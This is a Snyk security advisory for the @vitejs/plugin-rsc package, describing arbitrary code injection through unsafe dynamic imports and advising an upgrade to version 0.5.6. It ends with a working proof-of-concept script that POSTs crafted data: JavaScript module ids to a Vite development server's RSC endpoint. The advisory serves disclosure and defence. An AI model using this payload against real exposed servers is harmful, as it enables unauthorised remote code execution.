Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Code Injection vulnerabilities in an interactive lesson.
Start learningUpgrade @vitejs/plugin-rsc to version 0.5.6 or higher.
@vitejs/plugin-rsc is a React Server Components (RSC) support for Vite.
Affected versions of this package are vulnerable to Arbitrary Code Injection via unsafe dynamic imports in the loadServerAction, decodeReply, and decodeAction server APIs. An attacker can execute arbitrary JavaScript code with Node.js privileges by sending crafted HTTP requests to the development server endpoints.
Exposed development servers, such as those running with the vite --host option, are vulnerable.
const payload = {
0: ["$F1"],
1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
fd.append(key, JSON.stringify(payload[key]));
}
const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
method: "POST",
headers: {
"x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
},
body: fd,
})